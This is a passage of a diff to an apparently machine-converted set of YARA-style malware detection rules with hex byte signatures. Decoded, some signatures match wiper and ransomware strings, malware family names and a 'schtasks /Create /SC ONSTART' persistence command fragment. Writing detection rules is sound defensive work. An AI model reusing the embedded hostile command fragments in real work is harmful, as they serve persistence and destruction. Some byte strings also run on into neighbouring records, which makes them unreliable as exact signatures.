"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0d 00 21 " + + strings : + $a_46_0 = {44 6f 53 3a 57 69 6e 36 34 2f 44 72 61 67 6f 57 69 70 65 72 2e 45 21 64 68 61 00 05 00 1e 01 8b 07 8b 7d f0 0f b6 04 38 66 31 04 72 33 d2 8b 7d 0c 46 8b 45 f0 40 8b 4f 04 2b 0f f7 f1 01 00 25 01 5b 49 4e 46 4f 5d 20 46 69 6c 65 } //16675 + $a_74_1 = {20 65 6e 63 72 79 70 74 65 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 01 00 27 01 5b 49 4e 46 4f 5d 20 45 6e 63 72 79 70 74 65 64 20 62 79 74 65 73 20 77 72 69 74 74 65 6e 20 73 6f 20 66 61 72 3a 20 01 00 2b 01 45 72 72 6f 72 20 67 72 61 6e 74 69 6e 67 20 77 72 69 74 65 20 70 65 72 6d 69 73 73 69 } //25632 + $a_20_2 = {6f 72 20 66 69 6c 65 3a 20 01 00 22 01 41 6c 6c 20 64 72 69 76 65 73 20 70 72 6f 63 65 73 73 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 01 00 30 01 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 3a 00 20 00 01 00 66 01 41 00 6e 00 20 00 65 00 72 00 72 00 } //28271 + $a_00_3 = {20 00 6f 00 63 00 63 00 75 00 72 00 72 00 65 00 64 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 65 00 6e 00 75 00 6d 00 65 00 72 00 61 00 74 00 69 00 6e 00 67 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 01 00 48 01 5b 00 4c 00 4f 00 47 00 5d 00 20 00 42 00 53 00 4f 00 44 00 2e 00 65 00 } //111 + $a_00_4 = {20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 64 00 20 00 69 00 6d 00 6d 00 65 00 64 00 69 00 61 00 74 00 65 00 6c 00 79 00 2e 00 01 00 54 01 2c 00 20 00 61 00 74 00 74 00 65 00 6d 00 70 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 67 00 72 00 61 00 6e 00 74 00 20 00 77 00 72 00 69 00 74 00 65 } //120 + $a_00_6 = {6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2e 00 2e 00 2e 00 01 00 42 01 5b 00 4c 00 4f 00 47 00 5d 00 20 00 52 00 75 00 6e 00 42 00 53 00 4f 00 44 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 2e 00 2e 00 2e 00 01 00 1f 01 46 61 69 6c 65 64 20 74 6f 20 64 65 6c 65 74 65 20 63 } //101 + $a_65_7 = {74 20 66 69 6c 65 3a 20 01 00 15 01 00 00 00 5c 00 2e 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 01 00 60 01 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 53 00 54 00 41 00 52 00 54 00 20 00 2f 00 54 00 4e 00 20 00 22 00 52 00 75 00 6e 00 42 00 53 00 4f } //28271 + $a_00_9 = {54 00 52 00 20 00 22 00 00 00 78 1c 03 00 06 00 06 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 61 73 73 } //32 + $a_53_10 = {62 72 65 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 21 01 46 3a 5c 45 78 63 61 6c 69 62 75 72 5c 45 78 63 61 6c 69 62 75 72 5c 45 78 63 61 6c 69 62 75 72 5c 01 00 11 01 62 69 6e 5c 6f 53 61 62 65 72 53 76 63 2e 70 64 62 01 00 2e 03 63 6d 64 2e 65 78 65 20 2f 63 20 4d 44 20 90 19 01 09 61 } //22083 + $a_2d_11 = {30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 b2 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 62 00 61 00 69 00 64 00 75 00 2e 00 63 00 6f } //31277 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25632+(#a_20_2 & 1)*28271+(#a_00_3 & 1)*111+(#a_00_4 & 1)*120+(#a_00_6 & 1)*101+(#a_65_7 & 1)*28271+(#a_00_9 & 1)*32+(#a_53_10 & 1)*22083+(#a_2d_11 & 1)*31277) >=5 + +} +rule _InfrastructureShared_21517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -257428,7 +272760,7 @@ rule _InfrastructureShared_20294{ ((#a_46_0 & 1)*16675+(#a_5c_2 & 1)*26978+(#a_00_3 & 1)*115+(#a_00_5 & 1)*61+(#a_02_6 & 1)*-28550+(#a_2d_7 & 1)*23085+(#a_2d_8 & 1)*14637+(#a_00_9 & 1)*2448) >=6 } -rule _InfrastructureShared_20295{ +rule _InfrastructureShared_21518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -257442,7 +272774,7 @@ rule _InfrastructureShared_20295{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*99+(#a_00_3 & 1)*101+(#a_2d_4 & 1)*2305+(#a_00_6 & 1)*114) >=5 } -rule _InfrastructureShared_20296{ +rule _InfrastructureShared_21519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -257456,7 +272788,7 @@ rule _InfrastructureShared_20296{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*52+(#a_00_3 & 1)*67+(#a_00_4 & 1)*54+(#a_00_6 & 1)*55) >=4 } -rule _InfrastructureShared_20297{ +rule _InfrastructureShared_21520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -257484,7 +272816,7 @@ rule _InfrastructureShared_20297{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26218+(#a_74_2 & 1)*28520+(#a_01_3 & 1)*25972+(#a_72_4 & 1)*26707+(#a_64_5 & 1)*25706+(#a_6d_6 & 1)*17184+(#a_01_7 & 1)*29540+(#a_3a_8 & 1)*29812+(#a_53_9 & 1)*8251+(#a_72_10 & 1)*29795+(#a_6f_11 & 1)*25445+(#a_3d_12 & 1)*15681+(#a_74_13 & 1)*18176+(#a_70_14 & 1)*28483+(#a_6e_15 & 1)*26433+(#a_73_17 & 1)*385+(#a_79_18 & 1)*19315+(#a_6d_20 & 1)*14337) >=21 } -rule _InfrastructureShared_20298{ +rule _InfrastructureShared_21521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,24 00 24 00 24 00 21 " @@ -257522,7 +272854,7 @@ rule _InfrastructureShared_20298{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*8250+(#a_6f_2 & 1)*28265+(#a_65_3 & 1)*8308+(#a_6c_4 & 1)*11884+(#a_41_6 & 1)*15165+(#a_47_7 & 1)*4864+(#a_74_8 & 1)*31059+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_00_14 & 1)*1+(#a_26_15 & 1)*0+(#a_01_16 & 1)*2304+(#a_73_17 & 1)*25974+(#a_42_18 & 1)*25964+(#a_00_20 & 1)*111+(#a_00_22 & 1)*111+(#a_00_24 & 1)*112+(#a_00_26 & 1)*115+(#a_72_27 & 1)*27718+(#a_00_28 & 1)*101+(#a_00_29 & 1)*110+(#a_2d_31 & 1)*2305+(#a_39_32 & 1)*12378+(#a_00_34 & 1)*115+(#a_61_35 & 1)*11585) >=36 } -rule _InfrastructureShared_20299{ +rule _InfrastructureShared_21522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -257549,7 +272881,7 @@ rule _InfrastructureShared_20299{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*26994+(#a_01_2 & 1)*7168+(#a_73_3 & 1)*16740+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_27_10 & 1)*0+(#a_00_12 & 1)*101+(#a_2d_14 & 1)*2305+(#a_00_15 & 1)*114+(#a_6f_16 & 1)*27756+(#a_00_17 & 1)*46+(#a_00_19 & 1)*32+(#a_2d_20 & 1)*23085+(#a_00_21 & 1)*32) >=22 } -rule _InfrastructureShared_20300{ +rule _InfrastructureShared_21523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -257564,7 +272896,7 @@ rule _InfrastructureShared_20300{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_00_3 & 1)*116+(#a_00_4 & 1)*107+(#a_90_5 & 1)*11568+(#a_00_6 & 1)*112) >=2 } -rule _InfrastructureShared_20301{ +rule _InfrastructureShared_21524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 08 00 21 " @@ -257580,7 +272912,7 @@ rule _InfrastructureShared_20301{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*117+(#a_00_2 & 1)*114+(#a_00_3 & 1)*114+(#a_00_4 & 1)*120+(#a_00_6 & 1)*112+(#a_00_7 & 1)*97) >=1 } -rule _InfrastructureShared_20302{ +rule _InfrastructureShared_21525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " @@ -257602,7 +272934,7 @@ rule _InfrastructureShared_20302{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_3 & 1)*115+(#a_00_4 & 1)*101+(#a_2d_5 & 1)*2305+(#a_67_6 & 1)*28257+(#a_00_8 & 1)*115+(#a_01_9 & 1)*-28672+(#a_2d_10 & 1)*2305+(#a_65_11 & 1)*14932+(#a_72_12 & 1)*29539+(#a_56_13 & 1)*-32502+(#a_72_14 & 1)*21280) >=1 } -rule _InfrastructureShared_20303{ +rule _InfrastructureShared_21526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 25 00 21 " @@ -257643,7 +272975,7 @@ rule _InfrastructureShared_20303{ ((#a_5f_0 & 1)*16931+(#a_73_1 & 1)*24944+(#a_73_2 & 1)*25449+(#a_72_3 & 1)*29285+(#a_72_4 & 1)*30322+(#a_6c_5 & 1)*25938+(#a_56_6 & 1)*25955+(#a_73_7 & 1)*25960+(#a_61_8 & 1)*25199+(#a_00_9 & 1)*110+(#a_00_10 & 1)*85+(#a_00_11 & 1)*116+(#a_00_13 & 1)*67+(#a_00_14 & 1)*100+(#a_00_16 & 1)*112+(#a_00_18 & 1)*116+(#a_72_19 & 1)*29806+(#a_72_20 & 1)*28271+(#a_65_21 & 1)*29301+(#a_44_22 & 1)*16641+(#a_69_23 & 1)*25697+(#a_00_24 & 1)*114+(#a_00_26 & 1)*101+(#a_00_28 & 1)*95+(#a_53_29 & 1)*8993+(#a_5c_30 & 1)*27746+(#a_6e_31 & 1)*26204+(#a_46_32 & 1)*29554+(#a_00_33 & 1)*25202+(#a_43_34 & 1)*385+(#a_72_35 & 1)*26478+(#a_69_36 & 1)*24946) >=30 } -rule _InfrastructureShared_20304{ +rule _InfrastructureShared_21527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -257657,7 +272989,7 @@ rule _InfrastructureShared_20304{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*49+(#a_00_2 & 1)*37+(#a_00_3 & 1)*101+(#a_00_5 & 1)*101) >=3 } -rule _InfrastructureShared_20305{ +rule _InfrastructureShared_21528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 17 00 21 " @@ -257689,7 +273021,7 @@ rule _InfrastructureShared_20305{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28530+(#a_73_2 & 1)*29230+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_2e_18 & 1)*0+(#a_6c_19 & 1)*18524+(#a_6e_20 & 1)*29290+(#a_6b_21 & 1)*26995+(#a_79_22 & 1)*23653) >=23 } -rule _InfrastructureShared_20306{ +rule _InfrastructureShared_21529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -257713,7 +273045,7 @@ rule _InfrastructureShared_20306{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29295+(#a_6c_2 & 1)*24924+(#a_72_3 & 1)*25381+(#a_65_4 & 1)*28265+(#a_6e_5 & 1)*23662+(#a_69_6 & 1)*29554+(#a_75_7 & 1)*385+(#a_72_8 & 1)*17921+(#a_cb_11 & 1)*-14592+(#a_15_12 & 1)*26112+(#a_68_13 & 1)*1479+(#a_01_14 & 1)*257+(#a_51_15 & 1)*12577+(#a_f0_16 & 1)*-12096) >=17 } -rule _InfrastructureShared_20307{ +rule _InfrastructureShared_21530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -257724,7 +273056,7 @@ rule _InfrastructureShared_20307{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*-17920) >=1 } -rule _InfrastructureShared_20308{ +rule _InfrastructureShared_21531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 11 00 21 " @@ -257750,7 +273082,7 @@ rule _InfrastructureShared_20308{ ((#a_53_0 & 1)*20515+(#a_90_1 & 1)*5129+(#a_b9_2 & 1)*9728+(#a_83_3 & 1)*656+(#a_90_4 & 1)*5257+(#a_b9_5 & 1)*8960+(#a_49_6 & 1)*656+(#a_83_7 & 1)*656+(#a_20_8 & 1)*-28599+(#a_31_9 & 1)*656+(#a_8b_10 & 1)*656+(#a_02_11 & 1)*18704+(#a_90_12 & 1)*13361+(#a_53_13 & 1)*656+(#a_00_14 & 1)*32512+(#a_02_15 & 1)*3868+(#a_02_16 & 1)*7988) >=1 } -rule _InfrastructureShared_20309{ +rule _InfrastructureShared_21532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 20 00 21 " @@ -257784,7 +273116,7 @@ rule _InfrastructureShared_20309{ ((#a_73_0 & 1)*21283+(#a_00_1 & 1)*0+(#a_00_4 & 1)*0+(#a_00_6 & 1)*114+(#a_00_8 & 1)*99+(#a_00_10 & 1)*118+(#a_00_12 & 1)*114+(#a_00_14 & 1)*108+(#a_05_15 & 1)*18432+(#a_ff_16 & 1)*30144+(#a_48_17 & 1)*9292+(#a_01_18 & 1)*257+(#a_31_19 & 1)*4353+(#a_24_20 & 1)*-30388+(#a_71_21 & 1)*20801+(#a_89_22 & 1)*-3701+(#a_01_23 & 1)*30144+(#a_67_24 & 1)*29551+(#a_89_25 & 1)*774+(#a_90_26 & 1)*9586+(#a_01_27 & 1)*25857+(#a_01_28 & 1)*-28575+(#a_65_29 & 1)*400+(#a_01_30 & 1)*29441+(#a_01_31 & 1)*28524) >=25 } -rule _InfrastructureShared_20310{ +rule _InfrastructureShared_21533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -257796,7 +273128,7 @@ rule _InfrastructureShared_20310{ ((#a_46_0 & 1)*16675+(#a_c4_1 & 1)*18432+(#a_45_2 & 1)*4048) >=1 } -rule _InfrastructureShared_20311{ +rule _InfrastructureShared_21534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 08 00 19 00 21 " @@ -257824,7 +273156,7 @@ rule _InfrastructureShared_20311{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*29957+(#a_01_2 & 1)*25601+(#a_25_3 & 1)*16482+(#a_25_5 & 1)*9058+(#a_23_7 & 1)*9570+(#a_00_8 & 1)*58+(#a_73_9 & 1)*28261+(#a_6f_10 & 1)*11892+(#a_3f_11 & 1)*27745+(#a_00_13 & 1)*114+(#a_00_14 & 1)*99+(#a_00_16 & 1)*110+(#a_00_17 & 1)*46+(#a_00_19 & 1)*97+(#a_00_21 & 1)*115+(#a_2d_22 & 1)*2305+(#a_00_23 & 1)*32+(#a_00_24 & 1)*92) >=8 } -rule _InfrastructureShared_20312{ +rule _InfrastructureShared_21535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 12 00 21 " @@ -257846,7 +273178,7 @@ rule _InfrastructureShared_20312{ ((#a_6c_0 & 1)*16675+(#a_6f_1 & 1)*29801+(#a_63_2 & 1)*28015+(#a_6c_3 & 1)*24948+(#a_00_4 & 1)*99+(#a_00_6 & 1)*46+(#a_00_7 & 1)*101+(#a_00_9 & 1)*97+(#a_6f_10 & 1)*24430+(#a_00_11 & 1)*101+(#a_00_12 & 1)*896+(#a_2d_14 & 1)*2305+(#a_00_16 & 1)*92) >=15 } -rule _InfrastructureShared_20313{ +rule _InfrastructureShared_21536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0d 00 21 " @@ -257865,7 +273197,7 @@ rule _InfrastructureShared_20313{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_5a_3 & 1)*16697+(#a_00_4 & 1)*105+(#a_00_6 & 1)*112+(#a_00_7 & 1)*101+(#a_09_8 & 1)*11408+(#a_2d_9 & 1)*14637+(#a_00_11 & 1)*37+(#a_6c_12 & 1)*25646) >=8 } -rule _InfrastructureShared_20314{ +rule _InfrastructureShared_21537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -257889,7 +273221,7 @@ rule _InfrastructureShared_20314{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*16708+(#a_37_2 & 1)*14661+(#a_42_3 & 1)*13377+(#a_46_4 & 1)*16966+(#a_38_5 & 1)*17207+(#a_01_6 & 1)*16693+(#a_33_8 & 1)*17921+(#a_36_9 & 1)*17985+(#a_6b_10 & 1)*19557+(#a_69_11 & 1)*19540+(#a_00_12 & 1)*31073+(#a_6e_13 & 1)*385+(#a_46_14 & 1)*16675+(#a_01_16 & 1)*1) >=17 } -rule _InfrastructureShared_20315{ +rule _InfrastructureShared_21538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -257903,7 +273235,7 @@ rule _InfrastructureShared_20315{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=5 } -rule _InfrastructureShared_20316{ +rule _InfrastructureShared_21539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 60 00 21 " @@ -258004,7 +273336,7 @@ rule _InfrastructureShared_20316{ ((#a_54_0 & 1)*18467+(#a_f2_1 & 1)*3841+(#a_ba_2 & 1)*260+(#a_00_3 & 1)*16370+(#a_f2_4 & 1)*3841+(#a_ba_5 & 1)*260+(#a_00_6 & 1)*23282+(#a_f2_7 & 1)*3841+(#a_ba_8 & 1)*260+(#a_00_9 & 1)*30194+(#a_f2_10 & 1)*3841+(#a_0a_11 & 1)*-5440+(#a_47_12 & 1)*5256+(#a_54_13 & 1)*14916+(#a_20_14 & 1)*12064+(#a_01_15 & 1)*5+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_36_35 & 1)*0+(#a_00_37 & 1)*50+(#a_00_38 & 1)*50+(#a_00_39 & 1)*50+(#a_00_40 & 1)*50+(#a_33_41 & 1)*27980+(#a_78_42 & 1)*25711+(#a_30_43 & 1)*12336+(#a_01_44 & 1)*11622+(#a_46_45 & 1)*28265+(#a_81_46 & 1)*1+(#a_81_47 & 1)*1+(#a_81_48 & 1)*1+(#a_81_49 & 1)*1+(#a_81_50 & 1)*1+(#a_37_51 & 1)*0+(#a_00_53 & 1)*46+(#a_19_54 & 1)*14389+(#a_00_56 & 1)*46+(#a_09_57 & 1)*6544+(#a_2d_58 & 1)*31277+(#a_09_59 & 1)*11408+(#a_2d_60 & 1)*14637+(#a_00_61 & 1)*46+(#a_2e_62 & 1)*13102+(#a_00_63 & 1)*50+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1+(#a_38_66 & 1)*0+(#a_58_68 & 1)*3840+(#a_4b_69 & 1)*21587+(#a_69_70 & 1)*8307+(#a_6e_71 & 1)*25376+(#a_74_72 & 1)*11634+(#a_73_73 & 1)*8292+(#a_55_74 & 1)*17197+(#a_22_75 & 1)*11365+(#a_2a_76 & 1)*10794+(#a_75_77 & 1)*12082+(#a_01_78 & 1)*25710+(#a_69_79 & 1)*29556+(#a_72_80 & 1)*24915+(#a_62_81 & 1)*9528+(#a_73_82 & 1)*25938+(#a_74_83 & 1)*27764+(#a_66_84 & 1)*27765+(#a_33_85 & 1)*12612+(#a_73_86 & 1)*26990+(#a_65_87 & 1)*23653+(#a_65_88 & 1)*24951+(#a_73_89 & 1)*24939+(#a_6e_90 & 1)*27762+(#a_76_91 & 1)*25711+(#a_6e_92 & 1)*30556+(#a_8b_93 & 1)*1280+(#a_00_94 & 1)*-14589+(#a_20_95 & 1)*15206) >=1 } -rule _InfrastructureShared_20317{ +rule _InfrastructureShared_21540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 1e 00 21 " @@ -258042,7 +273374,7 @@ rule _InfrastructureShared_20317{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*744+(#a_66_2 & 1)*8300+(#a_69_3 & 1)*26926+(#a_47_4 & 1)*16695+(#a_00_5 & 1)*93+(#a_73_6 & 1)*1+(#a_64_7 & 1)*12325+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_36_19 & 1)*0+(#a_00_21 & 1)*50+(#a_00_22 & 1)*50+(#a_00_23 & 1)*50+(#a_00_24 & 1)*50+(#a_33_25 & 1)*27980+(#a_78_26 & 1)*25711+(#a_30_27 & 1)*12336+(#a_01_28 & 1)*11622+(#a_46_29 & 1)*28265) >=6 } -rule _InfrastructureShared_20318{ +rule _InfrastructureShared_21541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1c 00 1c 00 1c 00 21 " @@ -258077,7 +273409,7 @@ rule _InfrastructureShared_20318{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*48+(#a_00_3 & 1)*48+(#a_00_4 & 1)*48+(#a_00_5 & 1)*48+(#a_00_6 & 1)*45+(#a_74_7 & 1)*29283+(#a_6f_8 & 1)*29797+(#a_01_9 & 1)*11618+(#a_72_10 & 1)*21249+(#a_73_11 & 1)*17005+(#a_41_12 & 1)*24409+(#a_00_14 & 1)*49+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_38_27 & 1)*0) >=28 } -rule _InfrastructureShared_20319{ +rule _InfrastructureShared_21542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " @@ -258100,7 +273432,7 @@ rule _InfrastructureShared_20319{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24841+(#a_5a_2 & 1)*16697+(#a_39_3 & 1)*12378+(#a_30_4 & 1)*300+(#a_2c_5 & 1)*2+(#a_39_6 & 1)*12378+(#a_30_7 & 1)*300+(#a_2c_8 & 1)*2+(#a_61_9 & 1)*281+(#a_19_10 & 1)*1+(#a_00_11 & 1)*57+(#a_3a_12 & 1)*28737+(#a_52_13 & 1)*22529) >=1 } -rule _InfrastructureShared_20320{ +rule _InfrastructureShared_21543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 11 00 21 " @@ -258126,7 +273458,7 @@ rule _InfrastructureShared_20320{ ((#a_70_0 & 1)*16675+(#a_4d_1 & 1)*271+(#a_6e_2 & 1)*28783+(#a_6e_3 & 1)*25376+(#a_74_4 & 1)*11634+(#a_73_5 & 1)*8292+(#a_55_6 & 1)*17197+(#a_22_7 & 1)*11365+(#a_2a_8 & 1)*10794+(#a_75_9 & 1)*12082+(#a_01_10 & 1)*25710+(#a_69_11 & 1)*29556+(#a_72_12 & 1)*24915+(#a_62_13 & 1)*9528+(#a_73_14 & 1)*25938+(#a_74_15 & 1)*27764+(#a_66_16 & 1)*27765) >=2 } -rule _InfrastructureShared_20321{ +rule _InfrastructureShared_21544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -258144,7 +273476,7 @@ rule _InfrastructureShared_20321{ ((#a_54_0 & 1)*18467+(#a_66_2 & 1)*21249+(#a_6c_3 & 1)*23664+(#a_61_4 & 1)*29281+(#a_70_5 & 1)*25698+(#a_64_6 & 1)*30319+(#a_6b_7 & 1)*29797+(#a_74_8 & 1)*27753+(#a_64_9 & 1)*28524) >=10 } -rule _InfrastructureShared_20322{ +rule _InfrastructureShared_21545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -258165,7 +273497,7 @@ rule _InfrastructureShared_20322{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24947+(#a_75_2 & 1)*25971+(#a_6c_3 & 1)*11897+(#a_6c_4 & 1)*26996+(#a_6e_5 & 1)*25180+(#a_6d_7 & 1)*23553+(#a_64_8 & 1)*28277+(#a_62_9 & 1)*12082+(#a_02_10 & 1)*968+(#a_e9_11 & 1)*1283+(#a_90_13 & 1)*774) >=14 } -rule _InfrastructureShared_20323{ +rule _InfrastructureShared_21546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 38 00 21 " @@ -258178,74 +273510,52 @@ rule _InfrastructureShared_20323{ $a_d9_6 = {00 03 00 } //2050 $a_80_7 = {01 00 00 ff 30 8b 44 24 90 01 01 ff d0 90 00 03 00 1a 03 8b 80 94 01 00 00 90 03 02 05 ff 30 e9 90 16 ff 30 90 03 01 02 e8 8b 85 90 00 03 00 09 01 8b 80 a4 01 00 00 ff 30 e8 03 00 12 03 8b 80 a4 01 00 00 90 02 0a ff 30 90 02 0a ff 55 90 00 03 00 1b 03 8b 80 a4 01 00 00 ff 30 8b 90 03 05 05 44 24 90 01 01 84 24 90 01 04 ff d0 90 00 03 00 0a 01 8b 89 a4 01 00 00 ff 31 ff d0 03 00 0b 01 8b 81 a4 01 00 00 8b 08 8b 41 } // 786 $a_35_9 = {33 38 34 37 35 36 33 38 34 37 35 03 00 0c 01 37 32 34 31 37 32 68 64 61 73 6b 75 03 00 09 01 66 6b 30 39 32 6a 6b 33 35 03 00 12 01 57 69 6e 64 6f 77 43 6f 6d 70 6c 65 74 65 2e 68 79 70 03 00 13 03 0f a4 c1 02 90 03 06 03 e9 90 16 c1 e0 02 c1 e0 02 90 00 03 00 13 03 0f ac c2 02 90 03 06 03 e9 90 16 c1 } //29441 - $a_e8_10 = {90 00 03 00 0d 01 8b 89 a4 01 00 00 8b 09 8b 00 8b 49 3c 03 00 0b 01 8b b6 a4 01 00 00 8b 36 83 c3 3c 03 00 0b 01 8b bf a4 01 00 00 8b 3f 83 c3 3c 03 00 09 01 8b 3f 8b 7f 3c 8d 7c df 78 03 00 09 01 8b 12 8b 52 3c 8d 54 da 78 03 00 08 01 8b 80 d8 01 00 00 8b 00 00 00 78 3b 03 00 05 00 05 00 15 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 52 50 54 21 4d 54 42 00 01 00 18 01 74 00 6e 00 65 00 76 00 45 00 65 00 63 00 